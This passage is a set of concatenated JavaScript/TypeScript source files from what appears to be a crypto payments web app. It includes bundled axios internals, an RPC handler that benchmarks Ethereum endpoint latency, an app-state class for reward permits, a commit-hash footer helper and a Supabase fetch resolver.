node_modules/axios/lib/adapters/fetch.js\nvar fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n};\nvar isFetchSupported = typeof fetch !== \"undefined\";\nvar isReadableStreamSupported = isFetchSupported && typeof ReadableStream !== \"undefined\";\nvar encodeText = isFetchSupported && (typeof TextEncoder !== \"undefined\" ? /* @__PURE__ */ ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) : async (str) => new Uint8Array(await new Response(str).arrayBuffer()));\nvar supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n const hasContentType = new Request(platform_default.origin, {\n body: new ReadableStream(),\n method: \"POST\",\n get duplex() {\n duplexAccessed = true;\n return \"half\";\n }\n }).headers.has(\"Content-Type\");\n return duplexAccessed && !hasContentType;\n})();\nvar DEFAULT_CHUNK_SIZE = 64 * 1024;\nvar supportsResponseStream = isReadableStreamSupported && !!(() => {\n try {\n return utils_default.isReadableStream(new Response(\"\").body);\n } catch (err) {\n }\n})();\nvar resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\nisFetchSupported && ((res) => {\n [\"text\", \"arrayBuffer\", \"blob\", \"formData\", \"stream\"].forEach((type) => {\n !resolvers[type] && (resolvers[type] = utils_default.isFunction(res[type]) ? (res2) => res2[type]() : (_, config) => {\n throw new AxiosError_default(`Response type '${type}' is not supported`, AxiosError_default.ERR_NOT_SUPPORT, config);\n });\n });\n})(new Response());\nvar getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n if (utils_default.isBlob(body)) {\n return body.size;\n }\n if (utils_default.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n if (utils_default.isArrayBufferView(body)) {\n return body.byteLength;\n }\n if (utils_default.isURLSearchParams(body)) {\n body = body + \"\";\n }\n if (utils_default.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n};\nvar resolveBodyLength = async (headers, body) => {\n const length = utils_default.toFiniteNumber(headers.getContentLength());\n return length == null ? getBodyLength(body) : length;\n};\nvar fetch_default = isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = \"same-origin\",\n fetchOptions\n } = resolveConfig_default(config);\n responseType = responseType ? (responseType + \"\").toLowerCase() : \"text\";\n let [composedSignal, stopTimeout] = signal || cancelToken || timeout ? composeSignals_default([signal, cancelToken], timeout) : [];\n let finished, request;\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n finished = true;\n };\n let requestContentLength;\n try {\n if (onUploadProgress && supportsRequestStream && method !== \"get\" && method !== \"head\" && (requestContentLength = await resolveBodyLength(headers, data)) !== 0) {\n let _request = new Request(url, {\n method: \"POST\",\n body: data,\n duplex: \"half\"\n });\n let contentTypeHeader;\n if (utils_default.isFormData(data) && (contentTypeHeader = _request.headers.get(\"content-type\"))) {\n headers.setContentType(contentTypeHeader);\n }\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer_default(onUploadProgress)\n ), null, encodeText);\n }\n }\n if (!utils_default.isString(withCredentials)) {\n withCredentials = withCredentials ? \"cors\" : \"omit\";\n }\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n let response = await fetch(request);\n const isStreamResponse = supportsResponseStream && (responseType === \"stream\" || responseType === \"response\");\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n [\"status\", \"statusText\", \"headers\"].forEach((prop) => {\n options[prop] = response[prop];\n });\n const responseContentLength = utils_default.toFiniteNumber(response.headers.get(\"content-length\"));\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer_default(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n responseType = responseType || \"text\";\n let responseData = await resolvers[utils_default.findKey(resolvers, responseType) || \"text\"](response, config);\n !isStreamResponse && onFinish();\n stopTimeout && stopTimeout();\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders_default.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n });\n });\n } catch (err) {\n onFinish();\n if (err && err.name === \"TypeError\" && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError_default(\"Network Error\", AxiosError_default.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n );\n }\n throw AxiosError_default.from(err, err && err.code, config, request);\n }\n});\n\n// node_modules/axios/lib/adapters/adapters.js\nvar knownAdapters = {\n http: null_default,\n xhr: xhr_default,\n fetch: fetch_default\n};\nutils_default.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, \"name\", { value });\n } catch (e) {\n }\n Object.defineProperty(fn, \"adapterName\", { value });\n }\n});\nvar renderReason = (reason) => `- ${reason}`;\nvar isResolvedHandle = (adapter) => utils_default.isFunction(adapter) || adapter === null || adapter === false;\nvar adapters_default = {\n getAdapter: (adapters) => {\n adapters = utils_default.isArray(adapters) ? adapters : [adapters];\n const { length } = adapters;\n let nameOrAdapter;\n let adapter;\n const rejectedReasons = {};\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id2;\n adapter = nameOrAdapter;\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id2 = String(nameOrAdapter)).toLowerCase()];\n if (adapter === void 0) {\n throw new AxiosError_default(`Unknown adapter '${id2}'`);\n }\n }\n if (adapter) {\n break;\n }\n rejectedReasons[id2 || \"#\" + i] = adapter;\n }\n if (!adapter) {\n const reasons = Object.entries(rejectedReasons).map(\n ([id2, state]) => `adapter ${id2} ` + (state === false ? \"is not supported by the environment\" : \"is not available in the build\")\n );\n let s = length ? reasons.length > 1 ? \"since :\\n\" + reasons.map(renderReason).join(\"\\n\") : \" \" + renderReason(reasons[0]) : \"as no adapter specified\";\n throw new AxiosError_default(\n `There is no suitable adapter to dispatch the request ` + s,\n \"ERR_NOT_SUPPORT\"\n );\n }\n return adapter;\n },\n adapters: knownAdapters\n};\n\n// node_modules/axios/lib/core/dispatchRequest.js\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n if (config.signal && config.signal.aborted) {\n throw new CanceledError_default(null, config);\n }\n}\nfunction dispatchRequest(config) {\n throwIfCancellationRequested(config);\n config.headers = AxiosHeaders_default.from(config.headers);\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n if ([\"post\", \"put\", \"patch\"].indexOf(config.method) !== -1) {\n config.headers.setContentType(\"application/x-www-form-urlencoded\", false);\n }\n const adapter = adapters_default.getAdapter(config.adapter || defaults_default.adapter);\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n response.headers = AxiosHeaders_default.from(response.headers);\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders_default.from(reason.response.headers);\n }\n }\n return Promise.reject(reason);\n });\n}\n\n// node_modules/axios/lib/helpers/validator.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/env/data.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar VERSION = \"1.7.1\";\n\n// node_modules/axios/lib/helpers/validator.js\nvar validators = {};\n[\"object\", \"boolean\", \"number\", \"function\", \"string\", \"symbol\"].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || \"a\" + (i < 1 ? \"n \" : \" \") + type;\n };\n});\nvar deprecatedWarnings = {};\nvalidators.transitional = function transitional(validator, version17, message) {\n function formatMessage(opt, desc) {\n return \"[Axios v\" + VERSION + \"] Transitional option '\" + opt + \"'\" + desc + (message ? \". \" + message : \"\");\n }\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError_default(\n formatMessage(opt, \" has been removed\" + (version17 ? \" in \" + version17 : \"\")),\n AxiosError_default.ERR_DEPRECATED\n );\n }\n if (version17 && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n console.warn(\n formatMessage(\n opt,\n \" has been deprecated since v\" + version17 + \" and will be removed in the near future\"\n )\n );\n }\n return validator ? validator(value, opt, opts) : true;\n };\n};\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== \"object\") {\n throw new AxiosError_default(\"options must be an object\", AxiosError_default.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === void 0 || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError_default(\"option \" + opt + \" must be \" + result, AxiosError_default.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError_default(\"Unknown option \" + opt, AxiosError_default.ERR_BAD_OPTION);\n }\n }\n}\nvar validator_default = {\n assertOptions,\n validators\n};\n\n// node_modules/axios/lib/core/Axios.js\nvar validators2 = validator_default.validators;\nvar Axios = class {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager_default(),\n response: new InterceptorManager_default()\n };\n }\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : dummy = new Error();\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, \"\") : \"\";\n try {\n if (!err.stack) {\n err.stack = stack;\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, \"\"))) {\n err.stack += \"\\n\" + stack;\n }\n } catch (e) {\n }\n }\n throw err;\n }\n }\n _request(configOrUrl, config) {\n if (typeof configOrUrl === \"string\") {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n config = mergeConfig(this.defaults, config);\n const { transitional: transitional2, paramsSerializer, headers } = config;\n if (transitional2 !== void 0) {\n validator_default.assertOptions(transitional2, {\n silentJSONParsing: validators2.transitional(validators2.boolean),\n forcedJSONParsing: validators2.transitional(validators2.boolean),\n clarifyTimeoutError: validators2.transitional(validators2.boolean)\n }, false);\n }\n if (paramsSerializer != null) {\n if (utils_default.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n };\n } else {\n validator_default.assertOptions(paramsSerializer, {\n encode: validators2.function,\n serialize: validators2.function\n }, true);\n }\n }\n config.method = (config.method || this.defaults.method || \"get\").toLowerCase();\n let contextHeaders = headers && utils_default.merge(\n headers.common,\n headers[config.method]\n );\n headers && utils_default.forEach(\n [\"delete\", \"get\", \"head\", \"post\", \"put\", \"patch\", \"common\"],\n (method) => {\n delete headers[method];\n }\n );\n config.headers = AxiosHeaders_default.concat(contextHeaders, headers);\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === \"function\" && interceptor.runWhen(config) === false) {\n return;\n }\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n let promise;\n let i = 0;\n let len;\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), void 0];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n promise = Promise.resolve(config);\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n return promise;\n }\n len = requestInterceptorChain.length;\n let newConfig = config;\n i = 0;\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n i = 0;\n len = responseInterceptorChain.length;\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n return promise;\n }\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n};\nutils_default.forEach([\"delete\", \"get\", \"head\", \"options\"], function forEachMethodNoData(method) {\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\nutils_default.forEach([\"post\", \"put\", \"patch\"], function forEachMethodWithData(method) {\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n \"Content-Type\": \"multipart/form-data\"\n } : {},\n url,\n data\n }));\n };\n }\n Axios.prototype[method] = generateHTTPMethod();\n Axios.prototype[method + \"Form\"] = generateHTTPMethod(true);\n});\nvar Axios_default = Axios;\n\n// node_modules/axios/lib/cancel/CancelToken.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar CancelToken = class _CancelToken {\n constructor(executor) {\n if (typeof executor !== \"function\") {\n throw new TypeError(\"executor must be a function.\");\n }\n let resolvePromise;\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n const token = this;\n this.promise.then((cancel) => {\n if (!token._listeners)\n return;\n let i = token._listeners.length;\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n this.promise.then = (onfulfilled) => {\n let _resolve;\n const promise = new Promise((resolve) => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n return promise;\n };\n executor(function cancel(message, config, request) {\n if (token.reason) {\n return;\n }\n token.reason = new CanceledError_default(message, config, request);\n resolvePromise(token.reason);\n });\n }\n /**\n * Throws a `CanceledError` if cancellation has been requested.\n */\n throwIfRequested() {\n if (this.reason) {\n throw this.reason;\n }\n }\n /**\n * Subscribe to the cancel signal\n */\n subscribe(listener) {\n if (this.reason) {\n listener(this.reason);\n return;\n }\n if (this._listeners) {\n this._listeners.push(listener);\n } else {\n this._listeners = [listener];\n }\n }\n /**\n * Unsubscribe from the cancel signal\n */\n unsubscribe(listener) {\n if (!this._listeners) {\n return;\n }\n const index = this._listeners.indexOf(listener);\n if (index !== -1) {\n this._listeners.splice(index, 1);\n }\n }\n /**\n * Returns an object that contains a new `CancelToken` and a function that, when called,\n * cancels the `CancelToken`.\n */\n static source() {\n let cancel;\n const token = new _CancelToken(function executor(c) {\n cancel = c;\n });\n return {\n token,\n cancel\n };\n }\n};\nvar CancelToken_default = CancelToken;\n\n// node_modules/axios/lib/helpers/spread.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction spread(callback) {\n return function wrap(arr) {\n return callback.apply(null, arr);\n };\n}\n\n// node_modules/axios/lib/helpers/isAxiosError.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction isAxiosError(payload) {\n return utils_default.isObject(payload) && payload.isAxiosError === true;\n}\n\n// node_modules/axios/lib/helpers/HttpStatusCode.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar HttpStatusCode = {\n Continue: 100,\n SwitchingProtocols: 101,\n Processing: 102,\n EarlyHints: 103,\n Ok: 200,\n Created: 201,\n Accepted: 202,\n NonAuthoritativeInformation: 203,\n NoContent: 204,\n ResetContent: 205,\n PartialContent: 206,\n MultiStatus: 207,\n AlreadyReported: 208,\n ImUsed: 226,\n MultipleChoices: 300,\n MovedPermanently: 301,\n Found: 302,\n SeeOther: 303,\n NotModified: 304,\n UseProxy: 305,\n Unused: 306,\n TemporaryRedirect: 307,\n PermanentRedirect: 308,\n BadRequest: 400,\n Unauthorized: 401,\n PaymentRequired: 402,\n Forbidden: 403,\n NotFound: 404,\n MethodNotAllowed: 405,\n NotAcceptable: 406,\n ProxyAuthenticationRequired: 407,\n RequestTimeout: 408,\n Conflict: 409,\n Gone: 410,\n LengthRequired: 411,\n PreconditionFailed: 412,\n PayloadTooLarge: 413,\n UriTooLong: 414,\n UnsupportedMediaType: 415,\n RangeNotSatisfiable: 416,\n ExpectationFailed: 417,\n ImATeapot: 418,\n MisdirectedRequest: 421,\n UnprocessableEntity: 422,\n Locked: 423,\n FailedDependency: 424,\n TooEarly: 425,\n UpgradeRequired: 426,\n PreconditionRequired: 428,\n TooManyRequests: 429,\n RequestHeaderFieldsTooLarge: 431,\n UnavailableForLegalReasons: 451,\n InternalServerError: 500,\n NotImplemented: 501,\n BadGateway: 502,\n ServiceUnavailable: 503,\n GatewayTimeout: 504,\n HttpVersionNotSupported: 505,\n VariantAlsoNegotiates: 506,\n InsufficientStorage: 507,\n LoopDetected: 508,\n NotExtended: 510,\n NetworkAuthenticationRequired: 511\n};\nObject.entries(HttpStatusCode).forEach(([key2, value]) => {\n HttpStatusCode[value] = key2;\n});\nvar HttpStatusCode_default = HttpStatusCode;\n\n// node_modules/axios/lib/axios.js\nfunction createInstance(defaultConfig) {\n const context = new Axios_default(defaultConfig);\n const instance = bind(Axios_default.prototype.request, context);\n utils_default.extend(instance, Axios_default.prototype, context, { allOwnKeys: true });\n utils_default.extend(instance, context, null, { allOwnKeys: true });\n instance.create = function create(instanceConfig) {\n return createInstance(mergeConfig(defaultConfig, instanceConfig));\n };\n return instance;\n}\nvar axios = createInstance(defaults_default);\naxios.Axios = Axios_default;\naxios.CanceledError = CanceledError_default;\naxios.CancelToken = CancelToken_default;\naxios.isCancel = isCancel;\naxios.VERSION = VERSION;\naxios.toFormData = toFormData_default;\naxios.AxiosError = AxiosError_default;\naxios.Cancel = axios.CanceledError;\naxios.all = function all(promises) {\n return Promise.all(promises);\n};\naxios.spread = spread;\naxios.isAxiosError = isAxiosError;\naxios.mergeConfig = mergeConfig;\naxios.AxiosHeaders = AxiosHeaders_default;\naxios.formToJSON = (thing) => formDataToJSON_default(utils_default.isHTMLForm(thing) ? new FormData(thing) : thing);\naxios.getAdapter = adapters_default.getAdapter;\naxios.HttpStatusCode = HttpStatusCode_default;\naxios.default = axios;\nvar axios_default = axios;\n\n// node_modules/axios/index.js\nvar {\n Axios: Axios2,\n AxiosError: AxiosError2,\n CanceledError: CanceledError2,\n isCancel: isCancel2,\n CancelToken: CancelToken2,\n VERSION: VERSION2,\n all: all2,\n Cancel,\n isAxiosError: isAxiosError2,\n spread: spread2,\n toFormData: toFormData2,\n AxiosHeaders: AxiosHeaders2,\n HttpStatusCode: HttpStatusCode2,\n formToJSON,\n getAdapter,\n mergeConfig: mergeConfig2\n} = axios_default;\n\n// src/services/rpc-service.ts\nvar RPCService = class {\n static async testRpcPerformance(networkId, latencies, runtimeRpcs, rpcHeader, rpcBody, rpcTimeout) {\n const instance = axios_default.create({\n timeout: rpcTimeout,\n headers: rpcHeader,\n cancelToken: new axios_default.CancelToken((c) => setTimeout(() => c(\"Request Timeout\"), rpcTimeout))\n });\n const successfulPromises = runtimeRpcs.map(\n (rpcUrl) => new Promise((resolve) => {\n const startTime = performance.now();\n instance.post(rpcUrl, rpcBody).then(() => {\n const endTime = performance.now();\n resolve({\n rpcUrl,\n duration: endTime - startTime,\n success: true\n });\n }).catch(() => {\n resolve({ rpcUrl, success: false, duration: 0 });\n });\n })\n );\n const fastest = await Promise.race(successfulPromises);\n if (fastest.success) {\n latencies[`${networkId}__${fastest.rpcUrl}`] = fastest.duration;\n }\n const allResults = await Promise.allSettled(successfulPromises);\n allResults.forEach((result) => {\n if (result.status === \"fulfilled\" && result.value.success) {\n latencies[`${networkId}__${result.value.rpcUrl}`] = result.value.duration;\n } else if (result.status === \"fulfilled\") {\n const fulfilledResult = result.value;\n const index = runtimeRpcs.indexOf(fulfilledResult.rpcUrl);\n if (index > -1) {\n runtimeRpcs.splice(index, 1);\n }\n }\n });\n return { latencies, runtimeRpcs };\n }\n static async findFastestRpc(latencies, networkId) {\n try {\n const validLatencies = Object.entries(latencies).filter(([key2]) => key2.startsWith(`${networkId}__`)).reduce(\n (acc, [key2, value]) => {\n acc[key2] = value;\n return acc;\n },\n {}\n );\n return Object.keys(validLatencies).reduce((a, b) => validLatencies[a] < validLatencies[b] ? a : b).split(\"__\")[1];\n } catch (error) {\n console.error(\"[RPCService] Failed to find fastest RPC\");\n return null;\n }\n }\n static _verifyBlock(data) {\n try {\n const { jsonrpc, id: id2, result } = data;\n const { number, timestamp, hash: hash3 } = result;\n return jsonrpc === \"2.0\" && id2 === 1 && parseInt(number, 16) > 0 && parseInt(timestamp, 16) > 0 && hash3.match(/[0-9|a-f|A-F|x]/gm)?.join(\"\").length === 66;\n } catch (error) {\n return false;\n }\n }\n};\n\n// src/services/storage-service.ts\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar StorageService = class {\n static getLatencies(env, networkId) {\n if (env === \"browser\") {\n if (this.bypassForTests())\n return {};\n const latencies = JSON.parse(localStorage.getItem(\"rpcLatencies\") || \"{}\");\n return Object.keys(latencies).reduce((acc, key2) => {\n if (key2.startsWith(`${networkId}__`)) {\n acc[key2] = latencies[key2];\n }\n return acc;\n }, {});\n }\n return {};\n }\n static getRefreshLatencies(env) {\n if (env === \"browser\") {\n if (this.bypassForTests())\n return 0;\n const refresh = JSON.parse(localStorage.getItem(\"refreshLatencies\") || \"0\");\n if (typeof refresh === \"number\") {\n return refresh;\n } else {\n return 0;\n }\n }\n return 0;\n }\n static setLatencies(env, latencies) {\n if (env === \"browser\") {\n if (this.bypassForTests())\n return;\n localStorage.setItem(\"rpcLatencies\", JSON.stringify(latencies));\n }\n }\n static setRefreshLatencies(env, refreshLatencies) {\n if (env === \"browser\") {\n if (this.bypassForTests())\n return;\n localStorage.setItem(\"refreshLatencies\", JSON.stringify(refreshLatencies));\n }\n }\n // This method is only used for env detection testing\n static bypassForTests() {\n if (typeof localStorage === \"undefined\") {\n console.log(\"Passing test because localStorage is not defined.\");\n return true;\n }\n }\n};\n\n// types/rpc-handler.ts\nvar RPCHandler = class _RPCHandler {\n static _instance = null;\n _provider = null;\n _networkId;\n _networkName;\n _env = \"node\";\n _rpcTimeout = Number.MAX_SAFE_INTEGER;\n // ms\n _cacheRefreshCycles = 10;\n _refreshLatencies = 0;\n _autoStorage = false;\n _runtimeRpcs = [];\n _latencies = {};\n _networkRpcs = [];\n constructor(config) {\n this._networkId = config.networkId;\n this._networkRpcs = networkRpcs[this._networkId];\n this._networkName = networkNames[this._networkId];\n this._initialize(config);\n }\n async getFastestRpcProvider() {\n if (this._networkId === 31337) {\n this._provider = new JsonRpcProvider(LOCAL_HOST, this._networkId);\n } else if (!this._provider) {\n this._provider = await this.testRpcPerformance();\n }\n if (this._provider && this._provider?.connection.url.includes(\"localhost\") && this._networkId !== 31337) {\n this._provider = await this.testRpcPerformance();\n }\n return this._provider;\n }\n async testRpcPerformance() {\n const shouldRefreshRpcs = Object.keys(this._latencies).filter((rpc) => rpc.startsWith(`${this._networkId}__`)).length <= 1 || this._refreshLatencies >= this._cacheRefreshCycles;\n if (shouldRefreshRpcs) {\n this._runtimeRpcs = networkRpcs[this._networkId];\n this._refreshLatencies = 0;\n } else {\n this._runtimeRpcs = Object.keys(this._latencies).map((rpc) => {\n return rpc.split(\"__\")[1];\n });\n }\n await this._testRpcPerformance();\n const fastestRpcUrl = await RPCService.findFastestRpc(this._latencies, this._networkId);\n if (!fastestRpcUrl) {\n throw new Error(\"Failed to find fastest RPC\");\n }\n const provider = new JsonRpcProvider(fastestRpcUrl, this._networkId);\n this._provider = provider;\n if (this._autoStorage) {\n StorageService.setLatencies(this._env, this._latencies);\n StorageService.setRefreshLatencies(this._env, this._refreshLatencies);\n }\n if (!this._provider) {\n throw new Error(\"Provider could not be initialized\");\n }\n return this._provider;\n }\n getProvider() {\n if (!this._provider) {\n throw new Error(\"Provider is not initialized\");\n }\n return this._provider;\n }\n static getInstance(config) {\n if (!_RPCHandler._instance) {\n if (!config) {\n throw new Error(\"Config is required to initialize RPCHandler\");\n }\n _RPCHandler._instance = new _RPCHandler(config);\n }\n return _RPCHandler._instance;\n }\n clearInstance() {\n _RPCHandler._instance = null;\n }\n getRuntimeRpcs() {\n return this._runtimeRpcs;\n }\n getNetworkId() {\n return this._networkId;\n }\n getNetworkName() {\n return this._networkName;\n }\n getNetworkRpcs() {\n return this._networkRpcs;\n }\n getLatencies() {\n return this._latencies;\n }\n getRefreshLatencies() {\n return this._refreshLatencies;\n }\n getCacheRefreshCycles() {\n return this._cacheRefreshCycles;\n }\n async _testRpcPerformance() {\n const { latencies, runtimeRpcs } = await RPCService.testRpcPerformance(\n this._networkId,\n this._latencies,\n this._runtimeRpcs,\n { \"Content-Type\": \"application/json\" },\n JSON.stringify({\n jsonrpc: \"2.0\",\n method: \"eth_getBlockByNumber\",\n params: [\"latest\", false],\n id: 1\n }),\n this._rpcTimeout\n );\n this._runtimeRpcs = runtimeRpcs;\n this._latencies = latencies;\n this._refreshLatencies++;\n StorageService.setLatencies(this._env, this._latencies);\n StorageService.setRefreshLatencies(this._env, this._refreshLatencies);\n }\n _updateConfig(config) {\n if (config.networkName) {\n this._networkName = config.networkName;\n }\n if (config.networkRpcs) {\n this._networkRpcs = [...this._networkRpcs, ...config.networkRpcs];\n }\n if (config.runtimeRpcs) {\n this._runtimeRpcs = config.runtimeRpcs;\n }\n if (config.cacheRefreshCycles) {\n this._cacheRefreshCycles = config.cacheRefreshCycles;\n }\n if (config.rpcTimeout) {\n this._rpcTimeout = config.rpcTimeout;\n }\n if (config.autoStorage) {\n this._autoStorage = true;\n this._latencies = StorageService.getLatencies(this._env, this._networkId);\n this._refreshLatencies = StorageService.getRefreshLatencies(this._env);\n }\n }\n _initialize(config) {\n this._env = typeof window === \"undefined\" ? \"node\" : \"browser\";\n this._updateConfig(config);\n }\n};\n\n// index.ts\nasync function getRPCHandler() {\n let modulePath;\n if (typeof window !== \"undefined\") {\n modulePath = \"./esm/index.js\";\n } else {\n modulePath = \"./cjs/index.js\";\n }\n const { RPCHandler: RPCHandler2 } = await import(modulePath);\n return RPCHandler2;\n}\nexport {\n LOCAL_HOST,\n RPCHandler,\n getRPCHandler as default,\n getNetworkName,\n networkCurrencies,\n networkExplorers,\n networkIds,\n networkNames,\n networkRpcs,\n nftAddress,\n permit2Address,\n tokens\n};\n/*! Bundled license information:\n\njs-sha3/src/sha3.js:\n (**\n * [js-sha3]{@link https://github.com/emn178/js-sha3}\n *\n * @version 0.8.0\n * @author Chen, Yi-Cyuan [emn178@gmail.com]\n * @copyright Chen, Yi-Cyuan 2015-2018\n * @license MIT\n *)\n*/\n", "import { JsonRpcProvider, JsonRpcSigner } from \"@ethersproject/providers\";\nimport { Permit } from \"@ubiquibot/permit-generation/types\";\nimport { networkExplorers } from \"@ubiquity-dao/rpc-handler\";\n\nexport class AppState {\n public claims: Permit[] = [];\n public claimTxs: Record = {};\n private _provider!: JsonRpcProvider;\n private _currentIndex = 0;\n private _signer: JsonRpcSigner | null = null;\n\n get signer() {\n return this._signer;\n }\n\n set signer(value) {\n this._signer = value;\n }\n\n get networkId(): number | null {\n return this.reward?.networkId || null;\n }\n\n get provider(): JsonRpcProvider {\n return this._provider;\n }\n\n set provider(value: JsonRpcProvider) {\n this._provider = value;\n }\n\n get rewardIndex(): number {\n return this._currentIndex;\n }\n\n get reward(): Permit {\n return this.rewardIndex < this.claims.length ? this.claims[this.rewardIndex] : this.claims[0];\n }\n\n get permitNetworkId() {\n return this.reward?.networkId;\n }\n\n get currentExplorerUrl(): string {\n if (!this.reward) {\n return \"https://blockscan.com\";\n }\n return networkExplorers[this.reward.networkId] || \"https://blockscan.com\";\n }\n\n nextPermit(): Permit | null {\n this._currentIndex = Math.min(this.claims.length - 1, this.rewardIndex + 1);\n return this.reward;\n }\n\n previousPermit(): Permit | null {\n this._currentIndex = Math.max(0, this._currentIndex - 1);\n return this.reward;\n }\n}\n\nexport const app = new AppState();\n", "declare const commitHash: string; // @DEV: passed in at build time check build/esbuild-build.ts\nexport function displayCommitHash() {\n // display commit hash in footer\n const buildElement = document.querySelector(`#build a`) as HTMLAnchorElement;\n buildElement.innerHTML = commitHash;\n buildElement.href = `https://github.com/ubiquity/pay.ubq.fi/commit/${commitHash}`;\n}\n", "import { Fetch } from './types'\n\nexport const resolveFetch = (customFetch?: Fetch): Fetch => {\n let _fetch: Fetch\n if (customFetch) {\n _fetch = customFetch\n } else if (typeof fetch === 'undefined') {\n _fetch = (...args) =>\n import('@supabase/node-fetch' as any).then(({ default: fetch }) => fetch(...args))\n } else {\n _fetch = fetch\n }\n return (...args) => _fetch(...args)\n}\n", "export type Fetch = typeof fetch\n\n/**\n * Response format\n *\n */\nexport interface FunctionsResponseSuccess {\n data: T\n error: null\n}\nexport interface FunctionsResponseFailure {\n data: null\n error: any\n}\nexport type 